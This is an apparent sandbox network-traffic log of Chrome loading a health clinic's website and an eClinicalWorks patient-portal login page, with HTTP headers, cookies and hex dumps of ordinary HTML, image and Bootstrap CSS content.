2024-04-24 12:45:04 UTC	900	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:03 GMT Content-Type: text/html;charset=ISO-8859-1 Transfer-Encoding: chunked Connection: close Set-Cookie: ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; Path=/; SameSite=None; Secure Set-Cookie: ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7; Path=/ Set-Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; Path=/portal14763; Secure; HttpOnly;SameSite=Strict Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() vary: accept-encoding Server:
2024-04-24 12:45:04 UTC	15484	IN	Data Raw: 65 31 63 37 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 69 63 6f 22 20 68 72 65 66 3d 22 2e 2e 2f 2e 2e 2f 69 6d 61 67 65 73 2f 65 63 77 2d 62 61 64 67 65 2e 70 6e 67 22 20 2f 3e 0d 0a 3c Data Ascii: e1c7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en"><link rel="shortcut icon" type="image/ico" href="../../images/ecw-badge.png" /><
2024-04-24 12:45:04 UTC	16384	IN	Data Raw: 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 22 20 6e 61 6d 65 3d 22 72 65 64 69 72 65 63 74 22 20 69 64 3d 22 72 65 64 69 72 65 63 74 2d 72 65 71 75 65 73 74 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 22 20 6e 61 6d 65 3d 22 70 77 64 53 74 6f 72 65 22 20 69 64 3d 22 70 77 64 53 74 6f 72 65 22 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 20 70 2d 30 20 61 6c 69 67 6e 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 62 65 74 77 65 65 6e 20 64 2d 66 6c 65 78 22 20 69 64 3d 22 75 73 65 72 4c 6f Data Ascii: pe="hidden" value="" name="redirect" id="redirect-request"/> </form> <input type="hidden" value="" name="pwdStore" id="pwdStore"/> <div class="col-12 p-0 align-items-center justify-content-between d-flex" id="userLo
2024-04-24 12:45:04 UTC	16384	IN	Data Raw: 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 21 2d 2d 20 53 65 61 72 63 68 20 57 72 61 70 70 65 72 20 2d 2d 3e 0a 0a 09 3c 21 2d 2d 20 41 6c 6c 20 50 61 72 61 6c 6c 61 78 20 53 65 63 74 69 6f 6e 20 2d 2d 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 72 61 6c 6c 61 78 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 50 72 65 20 4f 70 74 69 6f 6e 20 66 6f 72 20 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 61 72 61 6c 6c 61 78 2d 73 65 63 74 69 6f 6e 22 20 69 64 3d 22 73 65 63 74 69 6f 6e 31 22 20 61 72 69 61 Data Ascii: </div></div></div></div></div></div></div>... Search Wrapper -->... All Parallax Section --><div class="parallax-wrapper"> ... Pre Option for details --> <section class="parallax-section" id="section1" aria
2024-04-24 12:45:04 UTC	9560	IN	Data Raw: 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 57 65 20 73 68 61 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 74 68 20 6f 75 72 20 70 61 74 69 65 6e 74 73 20 74 68 61 74 20 77 65 20 66 65 65 6c 20 63 61 6e 20 68 65 6c 70 20 74 68 65 6d 20 61 6e 64 20 6b 65 65 70 20 74 68 65 6d 20 69 6e 66 6f 72 6d 65 64 2e 20 45 76 65 72 79 20 70 72 61 63 74 69 63 65 20 69 73 20 64 69 66 66 65 72 65 6e 74 2c 20 61 6e 64 20 77 65 20 74 72 79 20 74 6f 20 70 72 6f 76 69 64 65 20 70 61 74 69 65 6e 74 73 20 77 69 74 68 20 6b 65 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 72 65 67 61 72 64 69 6e 67 20 74 68 65 69 72 20 68 65 61 6c 74 68 2e 20 46 6f 72 20 61 20 63 6f 6d 70 6c 65 74 65 20 6c 69 73 74 20 6f 66 Data Ascii: > We share information with our patients that we feel can help them and keep them informed. Every practice is different, and we try to provide patients with key information regarding their health. For a complete list of

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	50030	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:03 UTC	863	OUT	GET /wp-content/themes/vpchc/images/img__decor--dots.svg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-91937 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:04 UTC	421	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:03 GMT Content-Type: image/svg+xml Content-Length: 22315 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-572b" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:04 UTC	15963	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 32 33 22 20 68 65 69 67 68 74 3d 22 31 31 31 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 33 20 31 31 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 37 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 2e 34 30 32 31 37 20 31 2e 37 30 31 30 39 43 32 2e 34 30 32 31 37 20 32 2e 33 36 34 34 33 20 31 2e 38 36 34 34 33 20 32 2e 39 30 32 31 37 20 31 2e 32 30 31 30 39 20 32 2e 39 30 32 31 37 43 30 2e 35 33 37 37 34 35 20 32 2e 39 30 32 31 37 20 30 20 32 2e 33 36 34 34 33 20 Data Ascii: <svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg"><path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443
2024-04-24 12:45:04 UTC	6352	IN	Data Raw: 35 20 31 34 2e 34 31 33 20 38 35 2e 37 37 37 32 43 31 34 2e 34 31 33 20 38 35 2e 31 31 33 38 20 31 33 2e 38 37 35 33 20 38 34 2e 35 37 36 31 20 31 33 2e 32 31 32 20 38 34 2e 35 37 36 31 43 31 32 2e 35 34 38 36 20 38 34 2e 35 37 36 31 20 31 32 2e 30 31 30 39 20 38 35 2e 31 31 33 38 20 31 32 2e 30 31 30 39 20 38 35 2e 37 37 37 32 43 31 32 2e 30 31 30 39 20 38 36 2e 34 34 30 35 20 31 32 2e 35 34 38 36 20 38 36 2e 39 37 38 33 20 31 33 2e 32 31 32 20 38 36 2e 39 37 38 33 5a 4d 32 36 2e 34 32 33 39 20 38 35 2e 37 37 37 32 43 32 36 2e 34 32 33 39 20 38 36 2e 34 34 30 35 20 32 35 2e 38 38 36 32 20 38 36 2e 39 37 38 33 20 32 35 2e 32 32 32 38 20 38 36 2e 39 37 38 33 43 32 34 2e 35 35 39 35 20 38 36 2e 39 37 38 33 20 32 34 2e 30 32 31 37 20 38 36 2e 34 34 30 35 20 Data Ascii: 5 14.413 85.7772C14.413 85.1138 13.8753 84.5761 13.212 84.5761C12.5486 84.5761 12.0109 85.1138 12.0109 85.7772C12.0109 86.4405 12.5486 86.9783 13.212 86.9783ZM26.4239 85.7772C26.4239 86.4405 25.8862 86.9783 25.2228 86.9783C24.5595 86.9783 24.0217 86.4405

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	50033	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:03 UTC	871	OUT	GET /wp-content/plugins/google-language-translator/images/flags.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:45:04 UTC	325	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: image/png Content-Length: 54996 Connection: close Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT ETag: "65ef3b12-d6d4" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:04 UTC	16059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 a9 00 00 02 08 08 06 00 00 00 15 0a ce 4d 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 e1 04 04 17 04 21 5a 42 33 bf 00 00 20 00 49 44 41 54 78 da ec bd 79 9c 1d 55 99 ff ff 3e 55 75 b7 5e d2 49 93 9d 25 80 09 09 4b 08 c8 2e 04 42 40 16 15 01 15 e3 82 0a 8c 82 f0 15 c4 71 74 be 0e 8e 33 5f c7 d1 19 46 07 07 04 77 45 10 63 04 19 11 85 b0 07 91 c5 b0 24 24 40 d2 49 67 ef ac bd 77 df ad aa ce f2 fb a3 ea de be b7 97 7b eb 76 50 fc f9 ba cf eb 75 e9 ee 50 b7 9e 3a e7 3c e7 d9 ea 79 3e 07 ea 54 a7 3a d5 a9 4e 75 aa 53 9d ea 54 a7 b7 96 04 42 38 47 7c e9 2a 3f ee 38 5c 7e dc 42 de 77 cc c9 98 be 1e b2 f7 dd Data Ascii: PNGIHDRMbKGDpHYstIME!ZB3 IDATxyU>Uu^I%K.B@qt3_FwEc$$@Igw{vPuP:<y>T:NuSTB8G\|*?8\~Bw
2024-04-24 12:45:04 UTC	16384	IN	Data Raw: 69 b1 9d 23 93 89 d4 0a 92 ce ba b8 9e 2e 51 3a e1 66 f6 bc e2 ef ae 57 fd e9 83 f5 d4 91 16 e3 cf 0a 58 b6 e2 f6 93 38 f6 d8 79 45 20 af b1 cc fd 60 56 82 81 e6 46 67 4c 73 af b5 c6 75 5d ae 7e a7 c7 99 67 55 f1 29 ff c2 40 5e be 05 6e b7 85 d5 08 9e 1d ba 3d a2 cc 43 47 e5 a1 f7 c5 a0 9d 24 3d 30 b4 8d 4b 3d 0e 26 41 7a ab 85 db b7 8d 28 a8 51 5e 57 0f 71 82 f6 6b 18 37 74 18 1a 83 97 cb 47 10 52 43 67 6f 16 83 5d 06 58 a6 b5 46 e5 f2 a1 79 d7 64 f3 7e 75 ae 46 93 cf 47 68 ac e2 2f 0c 58 36 96 90 de fd d0 4e b4 81 eb de 7f 70 45 21 8d d4 d2 fc 16 00 79 e5 b2 b0 ef 01 41 3c 01 f9 cc 50 37 63 b9 e1 82 0d 9f 0e 16 d6 72 46 b6 f9 62 43 d7 63 02 6b 0a f4 ad da 82 57 65 ed de f6 c0 cf 38 64 fe fc 62 af ff fe f8 fb 85 5e ff fe b5 6b e1 ec b3 2b ee de 6c ce c3 Data Ascii: i#.Q:fWX8yE `VFgLsu]~gU)@^n=CG$=0K=&Az(Q^Wqk7tGRCgo]XFyd~uFGh/X6NpE!yA<P7crFbCckWe8db^k+l
2024-04-24 12:45:04 UTC	16384	IN	Data Raw: 76 3a f3 f7 ee f8 5e ed 76 62 38 f4 c2 f7 20 f3 79 9c a4 b5 21 51 b4 a1 32 3b aa 68 66 c9 7e d0 da c2 e0 7c 1f e5 fb e8 54 8a 17 6f bd 0d 0a c0 b2 fe 8e 8d f8 9d dd d0 db 17 9f ee bb 67 e5 06 4c 9a 48 7f c7 46 a8 01 b8 5a bf 7e 3d 9d 9d 9d f4 f4 f4 0c eb b8 39 73 e6 b0 6d db b6 d2 29 c8 f1 b5 85 10 cc 99 33 87 2d 5b b6 0c eb cc c9 93 27 b3 7e fd fa da 3a b7 77 d2 d9 9f a1 27 1b 55 82 d9 0e 2d d5 d8 3f be f6 a0 fa 2d 8d 1f de e4 56 97 f5 db 3b 6b ea cc 76 6d 46 e7 7a 31 d1 a0 dd d0 3d 76 8e 97 dd cb ea b6 91 ed da 5c 53 27 21 0c e4 06 18 c8 0d f0 2a af 96 ce 4d 37 c5 f8 59 d6 a9 8c 5c 77 23 4a bf ff f0 ac 0f db 62 dc 1a 3a 07 37 74 10 76 75 21 fb fa 8b 27 83 8f c5 86 8a 68 cd 89 13 18 dc d0 01 05 60 99 01 a2 74 1a 19 04 14 b6 a9 8e 1d 78 63 d0 e9 74 43 35 Data Ascii: v:^vb8 y!Q2;hf~\|TogLHFZ~=9sm)3-['~:w'U-?-V;kvmFz1=v\S'!*M7Y\w#Jb:7tvu!'h`txctC5
2024-04-24 12:45:04 UTC	6169	IN	Data Raw: bc d8 a4 02 ab c1 30 f8 40 08 41 3c 12 27 1a 09 a0 5a 01 b0 cc 0c 59 9e 05 a0 5a 4a 23 b5 ec 87 87 79 2e b6 6b 07 5e d8 00 55 4c a7 30 31 b4 c0 50 21 c8 cb 8c 60 59 11 0c 44 2e 10 82 02 f8 b0 6c 00 84 42 e3 fb 1e ae f4 70 fc e0 bc 22 b3 24 c8 cb 44 09 03 df 30 30 62 31 74 34 52 10 3b c9 b1 c7 16 5c a4 09 21 d0 75 b5 68 d7 c3 77 9c c0 c1 1a c5 75 06 75 1b d4 5f 3c 1a c2 e0 2c ab ac 85 62 64 f4 48 50 1a df f3 50 9e 87 b2 9d 00 1c 6c 1a 25 74 66 01 74 a2 1f 40 67 45 42 e8 9d c1 66 7f 14 57 ec 98 c1 67 9a f6 61 a0 b9 a7 63 1c 49 df 62 7c ad 1f 12 f4 f2 60 70 32 84 c1 85 8b cd 80 f4 1c 8d f1 e7 13 d6 60 59 82 ad 86 c0 10 1e 62 b7 47 d3 bc ed 00 8c 9e 5f 5e 04 5b ee 2c 4a 5f a3 75 ac a8 91 c6 a2 31 2c d7 0a 82 11 5c f0 84 87 87 37 0c 60 99 20 a1 13 68 a5 f1 a3 Data Ascii: 0@A<'ZYZJ#y.k^UL01P!`YD.lBp"$D00b1t4R;\!uhwuu_<,bdHPPl%tft@gEBfWgacIb\|`p2`YbG_^[,J_u1,\7` h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	50031	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:04 UTC	794	OUT	GET /portal14763/ss/newLogin/bootstrap.min.css HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:04 UTC	456	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:04 GMT Content-Type: text/css Content-Length: 161409 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:04 GMT Accept-Ranges: bytes ETag: W/"161409-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT vary: accept-encoding Server:
2024-04-24 12:45:04 UTC	15928	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 36 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 31 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 32 3b 2d 2d 70 75 Data Ascii: /! Bootstrap v4.6.0 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors * Copyright 2011-2021 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue:#007bff;--indigo:#6610f2;--pu
2024-04-24 12:45:04 UTC	16384	IN	Data Raw: 39 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 31 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 31 32 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 Data Ascii: 9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 34 4c 36 20 36 2e 35 7a 27 2f 25 33 65 25 33 63 63 69 72 63 6c 65 20 63 78 3d 27 36 27 20 63 79 3d 27 38 2e 32 27 20 72 3d 27 2e 36 27 20 66 69 6c 6c 3d 27 25 32 33 64 63 33 35 34 35 27 20 73 74 72 6f 6b 65 3d 27 6e 6f 6e 65 27 2f 25 33 65 25 33 63 2f 73 76 67 25 33 65 22 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 72 69 67 68 74 20 63 61 6c 63 28 2e 33 37 35 65 6d 20 2b 20 2e 31 38 37 35 72 65 6d 29 20 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 61 6c 63 28 2e 37 35 65 6d 20 2b 20 2e 33 37 35 72 65 6d 29 20 63 61 6c 63 28 2e 37 35 65 6d 20 2b 20 2e 33 37 35 72 65 6d 29 7d 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2e 69 73 2d Data Ascii: 4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 61 63 74 69 76 65 3a 66 6f 63 75 73 2c 2e 73 68 6f 77 3e 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 6c 69 67 68 74 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 32 34 38 2c 32 34 39 2c 32 35 30 2c 2e 35 29 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 72 6b 7b 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 72 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 33 34 33 61 34 30 7d 2e 62 74 6e 2d 6f 75 74 6c 69 6e 65 2d 64 61 72 6b Data Ascii: active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 2d 69 6e 2d 6f 75 74 2c 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 31 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 72 65 64 75 63 65 64 2d 6d 6f 74 69 6f 6e 3a 72 65 64 75 63 65 29 7b 2e 63 75 73 74 6f 6d 2d 73 77 69 74 63 68 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 6f 6e 65 7d 7d 2e 63 75 73 74 6f 6d 2d 73 77 69 74 63 68 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 3a 3a 61 66 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 Data Ascii: -in-out,-webkit-transform .15s ease-in-out}@media (prefers-reduced-motion:reduce){.custom-switch .custom-control-label::after{transition:none}}.custom-switch .custom-control-input:checked~.custom-control-label::after{background-color:#fff;-webkit-transfor
2024-04-24 12:45:05 UTC	16384	IN	Data Raw: 2e 6e 61 76 62 61 72 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 35 29 7d 2e 6e 61 76 62 61 72 2d 64 61 72 6b 20 2e 6e 61 76 62 61 72 2d 74 65 78 74 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 6e 61 76 62 61 72 2d 64 61 72 6b 20 2e 6e 61 76 62 61 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 6e 61 76 62 61 72 2d 64 61 72 6b 20 2e 6e 61 76 62 61 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 63 61 72 64 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e Data Ascii: .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction
